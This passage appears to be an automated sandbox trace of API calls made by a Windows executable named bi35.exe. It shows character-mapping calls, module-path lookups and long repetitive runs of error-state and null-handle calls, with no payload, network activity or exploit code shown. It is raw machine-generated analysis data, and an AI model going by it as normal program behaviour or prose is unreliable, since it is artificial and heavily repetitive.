!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0029.327] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x19f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0029.327] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x19fb5c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĽÆu\x94þ\x19", lpUsedDefaultChar=0x0) returned 256 [0029.327] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x415cf8, nSize=0x104 | out: lpFilename="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\bi35.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\bi35.exe")) returned 0x26 [0029.327] GetLastError () returned 0x0 [0029.327] SetLastError (dwErrCode=0x0) [0029.327] GetLastError () returned 0x0 [0029.327] SetLastError (dwErrCode=0x0) [0029.327] GetLastError () returned 0x0 [0029.327] SetLastError (dwErrCode=0x0) [0029.327] GetLastError () returned 0x0 [0029.327] SetLastError (dwErrCode=0x0) [0029.327] GetLastError () returned 0x0 [0029.327] SetLastError (dwErrCode=0x0) [0029.327] GetLastError () returned 0x0 [0029.327] SetLastError (dwErrCode=0x0) [0029.327] GetLastError () returned 0x0 [0029.327] SetLastError (dwErrCode=0x0) [0029.327] GetLastError () returned 0x0 [0029.327] SetLastError (dwErrCode=0x0) [0029.327] GetLastError () returned 0x0 [0029.327] SetLastError (dwErrCode=0x0) [0029.327] GetLastError () returned 0x0 [0029.328] SetLastError (dwErrCode=0x0) [0029.328] GetLastError () returned 0x0 [0029.328] SetLastError (dwErrCode=0x0) [0029.328] GetLastError () returned 0x0 [0029.328] SetLastError (dwErrCode=0x0) [0029.328] GetLastError () returned 0x0 [0029.328] SetLastError (dwErrCode=0x0) [0029.328] GetLastError () returned 0x0 [0029.328] SetLastError (dwErrCode=0x0) [0029.328] GetLastError () returned 0x0 [0029.328] SetLastError (dwErrCode=0x0) [0029.328] GetLastError () returned 0x0 [0029.328] SetLastError (dwErrCode=0x0) [0029.328] GetLastError () returned 0x0 [0029.328] SetLastError (dwErrCode=0x0) [0029.328] GetLastError () returned 0x0 [0029.328] SetLastError (dwErrCode=0x0) [0029.328] GetLastError () returned 0x0 [0029.328] SetLastError (dwErrCode=0x0) [0029.328] GetLastError () returned 0x0 [0029.328] SetLastError (dwErrCode=0x0) [0029.328] GetLastError () returned 0x0 [0029.328] SetLastError (dwErrCode=0x0) [0029.328] GetLastError () returned 0x0 [0029.328] SetLastError (dwErrCode=0x0) [0029.328] GetLastError () returned 0x0 [0029.328] SetLastError (dwErrCode=0x0) [0029.328] GetLastError () returned 0x0 [0029.328] SetLastError (dwErrCode=0x0) [0029.328] GetLastError () returned 0x0 [0029.328] SetLastError (dwErrCode=0x0) [0029.328] GetLastError () returned 0x0 [0029.328] SetLastError (dwErrCode=0x0) [0029.328] GetLastError () returned 0x0 [0029.328] SetLastError (dwErrCode=0x0) [0029.328] GetLastError () returned 0x0 [0029.328] SetLastError (dwErrCode=0x0) [0029.328] GetLastError () returned 0x0 [0029.328] SetLastError (dwErrCode=0x0) [0029.328] GetLastError () returned 0x0 [0029.329] SetLastError (dwErrCode=0x0) [0029.329] GetLastError () returned 0x0 [0029.329] SetLastError (dwErrCode=0x0) [0029.329] GetLastError () returned 0x0 [0029.329] SetLastError (dwErrCode=0x0) [0029.329] GetLastError () returned 0x0 [0029.329] SetLastError (dwErrCode=0x0) [0029.329] GetLastError () returned 0x0 [0029.329] SetLastError (dwErrCode=0x0) [0029.329] GetLastError () returned 0x0 [0029.329] SetLastError (dwErrCode=0x0) [0029.329] GetLastError () returned 0x0 [0029.329] SetLastError (dwErrCode=0x0) [0029.329] GetLastError () returned 0x0 [0029.329] SetLastError (dwErrCode=0x0) [0029.329] GetLastError () returned 0x0 [0029.329] SetLastError (dwErrCode=0x0) [0029.329] GetLastError () returned 0x0 [0029.329] SetLastError (dwErrCode=0x0) [0029.329] GetLastError () returned 0x0 [0029.329] SetLastError (dwErrCode=0x0) [0029.329] GetLastError () returned 0x0 [0029.329] SetLastError (dwErrCode=0x0) [0029.329] GetLastError () returned 0x0 [0029.329] SetLastError (dwErrCode=0x0) [0029.329] GetLastError () returned 0x0 [0029.329] SetLastError (dwErrCode=0x0) [0029.329] GetLastError () returned 0x0 [0029.329] SetLastError (dwErrCode=0x0) [0029.329] GetLastError () returned 0x0 [0029.329] SetLastError (dwErrCode=0x0) [0029.329] GetLastError () returned 0x0 [0029.329] SetLastError (dwErrCode=0x0) [0029.329] GetLastError () returned 0x0 [0029.329] SetLastError (dwErrCode=0x0) [0029.329] GetLastError () returned 0x0 [0029.329] SetLastError (dwErrCode=0x0) [0029.329] GetLastError () returned 0x0 [0029.329] SetLastError (dwErrCode=0x0) [0029.329] GetLastError () returned 0x0 [0029.329] SetLastError (dwErrCode=0x0) [0029.329] GetLastError () returned 0x0 [0029.329] SetLastError (dwErrCode=0x0) [0029.330] GetLastError () returned 0x0 [0029.330] SetLastError (dwErrCode=0x0) [0029.330] GetLastError () returned 0x0 [0029.330] SetLastError (dwErrCode=0x0) [0029.330] GetLastError () returned 0x0 [0029.330] SetLastError (dwErrCode=0x0) [0029.330] GetLastError () returned 0x0 [0029.330] SetLastError (dwErrCode=0x0) [0029.330] GetLastError () returned 0x0 [0029.330] SetLastError (dwErrCode=0x0) [0029.330] GetLastError () returned 0x0 [0029.330] SetLastError (dwErrCode=0x0) [0029.330] GetLastError () returned 0x0 [0029.330] SetLastError (dwErrCode=0x0) [0029.330] GetLastError () returned 0x0 [0029.330] SetLastError (dwErrCode=0x0) [0029.330] GetLastError () returned 0x0 [0029.330] SetLastError (dwErrCode=0x0) [0029.330] GetLastError () returned 0x0 [0029.330] SetLastError (dwErrCode=0x0) [0029.330] GetLastError () returned 0x0 [0029.330] SetLastError (dwErrCode=0x0) [0029.330] GetLastError () returned 0x0 [0029.330] SetLastError (dwErrCode=0x0) [0029.330] GetLastError () returned 0x0 [0029.330] SetLastError (dwErrCode=0x0) [0029.330] GetLastError () returned 0x0 [0029.330] SetLastError (dwErrCode=0x0) [0029.330] GetLastError () returned 0x0 [0029.330] SetLastError (dwErrCode=0x0) [0029.330] GetLastError () returned 0x0 [0029.330] SetLastError (dwErrCode=0x0) [0029.330] GetLastError () returned 0x0 [0029.330] SetLastError (dwErrCode=0x0) [0029.330] GetLastError () returned 0x0 [0029.330] SetLastError (dwErrCode=0x0) [0029.330] GetLastError () returned 0x0 [0029.330] SetLastError (dwErrCode=0x0) [0029.330] GetLastError () returned 0x0 [0029.330] SetLastError (dwErrCode=0x0) [0029.330] GetLastError () returned 0x0 [0029.330] SetLastError (dwErrCode=0x0) [0029.330] GetLastError () returned 0x0 [0029.331] SetLastError (dwErrCode=0x0) [0029.331] GetLastError () returned 0x0 [0029.331] SetLastError (dwErrCode=0x0) [0029.331] GetLastError () returned 0x0 [0029.331] SetLastError (dwErrCode=0x0) [0029.331] GetLastError () returned 0x0 [0029.331] SetLastError (dwErrCode=0x0) [0029.331] GetLastError () returned 0x0 [0029.331] SetLastError (dwErrCode=0x0) [0029.331] GetLastError () returned 0x0 [0029.331] SetLastError (dwErrCode=0x0) [0029.332] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0029.332] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0029.332] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x406ed9) returned 0x0 [0029.332] GetLastError () returned 0x0 [0029.332] SetLastError (dwErrCode=0x0) [0029.332] GetLastError () returned 0x0 [0029.332] SetLastError (dwErrCode=0x0) [0029.332] GetLastError () returned 0x0 [0029.332] SetLastError (dwErrCode=0x0) [0029.332] GetLastError () returned 0x0 [0029.332] SetLastError (dwErrCode=0x0) [0029.332] GetLastError () returned 0x0 [0029.332] SetLastError (dwErrCode=0x0) [0029.332] GetLastError () returned 0x0 [0029.332] SetLastError (dwErrCode=0x0) [0029.332] GetLastError () returned 0x0 [0029.332] SetLastError (dwErrCode=0x0) [0029.332] GetLastError () returned 0x0 [0029.332] SetLastError (dwErrCode=0x0) [0029.332] GetLastError () returned 0x0 [0029.332] SetLastError (dwErrCode=0x0) [0029.332] GetLastError () returned 0x0 [0029.332] SetLastError (dwErrCode=0x0) [0029.332] GetLastError () returned 0x0 [0029.332] SetLastError (dwErrCode=0x0) [0029.332] GetLastError () returned 0x0 [0029.332] SetLastError (dwErrCode=0x0) [0029.332] GetLastError () returned 0x0 [0029.333] SetLastError (dwErrCode=0x0) [0029.333] GetLastError () returned 0x0 [0029.333] SetLastError (dwErrCode=0x0) [0029.333] GetLastError () returned 0x0 [0029.333] SetLastError (dwErrCode=0x0) [0029.333] GetLastError () returned 0x0 [0029.333] SetLastError (dwErrCode=0x0) [0029.333] GetLastError () returned 0x0 [0029.333] SetLastError (dwErrCode=0x0) [0029.333] GetLastError () returned 0x0 [0029.333] SetLastError (dwErrCode=0x0) [0029.333] GetLastError () returned 0x0 [0029.333] SetLastError (dwErrCode=0x0) [0029.333] GetLastError () returned 0x0 [0029.333] SetLastError (dwErrCode=0x0) [0029.333] GetLastError () returned 0x0 [0029.333] SetLastError (dwErrCode=0x0) [0029.333] GetLastError () returned 0x0 [0029.333] SetLastError (dwErrCode=0x0) [0029.333] GetLastError () returned 0x0 [0029.333] SetLastError (dwErrCode=0x0) [0029.333] GetLastError () returned 0x0 [0029.333] SetLastError (dwErrCode=0x0) [0029.333] GetLastError () returned 0x0 [0029.333] SetLastError (dwErrCode=0x0) [0029.333] GetLastError () returned 0x0 [0029.333] SetLastError (dwErrCode=0x0) [0029.333] GetLastError () returned 0x0 [0029.333] SetLastError (dwErrCode=0x0) [0029.333] GetLastError () returned 0x0 [0029.333] SetLastError (dwErrCode=0x0) [0029.333] GetLastError () returned 0x0 [0029.333] SetLastError (dwErrCode=0x0) [0029.333] GetLastError () returned 0x0 [0029.333] SetLastError (dwErrCode=0x0) [0029.333] GetLastError () returned 0x0 [0029.333] SetLastError (dwErrCode=0x0) [0029.333] GetLastError () returned 0x0 [0029.333] SetLastError (dwErrCode=0x0) [0029.333] GetLastError () returned 0x0 [0029.333] SetLastError (dwErrCode=0x0) [0029.333] GetLastError () returned 0x0 [0029.334] SetLastError (dwErrCode=0x0) [0029.334] GetLastError () returned 0x0 [0029.334] SetLastError (dwErrCode=0x0) [0029.334] GetLastError () returned 0x0 [0029.334] SetLastError (dwErrCode=0x0) [0029.334] GetLastError () returned 0x0 [0029.334] SetLastError (dwErrCode=0x0) [0029.334] GetLastError () returned 0x0 [0029.334] SetLastError (dwErrCode=0x0) [0029.334] GetLastError () returned 0x0 [0029.334] SetLastError (dwErrCode=0x0) [0029.334] GetLastError () returned 0x0 [0029.334] SetLastError (dwErrCode=0x0) [0029.334] PostMessageA (hWnd=0x0, Msg=0x1, wParam=0x0, lParam=0x0) returned 0 [0029.334] GetProcessTimes (in: hProcess=0x0, lpCreationTime=0x0, lpExitTime=0x0, lpKernelTime=0x0, lpUserTime=0x0 | out: lpCreationTime=0x0, lpExitTime=0x0, lpKernelTime=0x0, lpUserTime=0x0) returned 0 [0029.334] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.334] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.334] GetFileType (hFile=0x0) returned 0x0 [0029.334] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.334] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.334] GetFileType (hFile=0x0) returned 0x0 [0029.334] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.334] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.334] GetFileType (hFile=0x0) returned 0x0 [0029.334] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.334] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.334] GetFileType (hFile=0x0) returned 0x0 [0029.334] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.334] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.334] GetFileType (hFile=0x0) returned 0x0 [0029.334] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.334] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.334] GetFileType (hFile=0x0) returned 0x0 [0029.334] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.334] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.334] GetFileType (hFile=0x0) returned 0x0 [0029.334] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.335] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.335] GetFileType (hFile=0x0) returned 0x0 [0029.335] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.335] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.335] GetFileType (hFile=0x0) returned 0x0 [0029.335] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.335] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.335] GetFileType (hFile=0x0) returned 0x0 [0029.335] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.335] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.335] GetFileType (hFile=0x0) returned 0x0 [0029.335] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.335] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.335] GetFileType (hFile=0x0) returned 0x0 [0029.335] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.335] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.335] GetFileType (hFile=0x0) returned 0x0 [0029.335] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.335] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.335] GetFileType (hFile=0x0) returned 0x0 [0029.335] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.335] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.335] GetFileType (hFile=0x0) returned 0x0 [0029.335] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.335] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.335] GetFileType (hFile=0x0) returned 0x0 [0029.335] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.335] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.335] GetFileType (hFile=0x0) returned 0x0 [0029.335] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.335] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.335] GetFileType (hFile=0x0) returned 0x0 [0029.335] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.335] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.335] GetFileType (hFile=0x0) returned 0x0 [0029.335] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.335] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.335] GetFileType (hFile=0x0) returned 0x0 [0029.335] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.335] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.335] GetFileType (hFile=0x0) returned 0x0 [0029.335] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.335] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.335] GetFileType (hFile=0x0) returned 0x0 [0029.335] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.335] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.335] GetFileType (hFile=0x0) returned 0x0 [0029.335] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.335] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.335] GetFileType (hFile=0x0) returned 0x0 [0029.335] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.335] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.335] GetFileType (hFile=0x0) returned 0x0 [0029.335] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.335] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.335] GetFileType (hFile=0x0) returned 0x0 [0029.335] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.335] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.336] GetFileType (hFile=0x0) returned 0x0 [0029.336] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.336] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.336] GetFileType (hFile=0x0) returned 0x0 [0029.336] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.336] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.336] GetFileType (hFile=0x0) returned 0x0 [0029.336] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.336] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.336] GetFileType (hFile=0x0) returned 0x0 [0029.336] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.336] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.336] GetFileType (hFile=0x0) returned 0x0 [0029.336] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.336] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.336] GetFileType (hFile=0x0) returned 0x0 [0029.336] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.336] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.336] GetFileType (hFile=0x0) returned 0x0 [0029.336] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.336] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.336] GetFileType (hFile=0x0) returned 0x0 [0029.336] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.336] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.336] GetFileType (hFile=0x0) returned 0x0 [0029.336] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.336] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.336] GetFileType (hFile=0x0) returned 0x0 [0029.336] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.336] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.336] GetFileType (hFile=0x0) returned 0x0 [0029.336] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.336] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.336] GetFileType (hFile=0x0) returned 0x0 [0029.336] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.336] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.336] GetFileType (hFile=0x0) returned 0x0 [0029.336] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.336] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.336] GetFileType (hFile=0x0) returned 0x0 [0029.336] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.336] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.336] GetFileType (hFile=0x0) returned 0x0 [0029.336] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.336] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.336] GetFileType (hFile=0x0) returned 0x0 [0029.337] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.337] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.337] GetFileType (hFile=0x0) returned 0x0 [0029.337] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.337] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.337] GetFileType (hFile=0x0) returned 0x0 [0029.337] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.337] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.337] GetFileType (hFile=0x0) returned 0x0 [0029.337] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.337] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.337] GetFileType (hFile=0x0) returned 0x0 [0029.337] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.337] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.337] GetFileType (hFile=0x0) returned 0x0 [0029.337] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.337] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.337] GetFileType (hFile=0x0) returned 0x0 [0029.337] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.337] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.337] GetFileType (hFile=0x0) returned 0x0 [0029.337] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.337] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.337] GetFileType (hFile=0x0) returned 0x0 [0029.337] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.337] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.337] GetFileType (hFile=0x0) returned 0x0 [0029.337] GetThreadPriority (hThread=0x0) 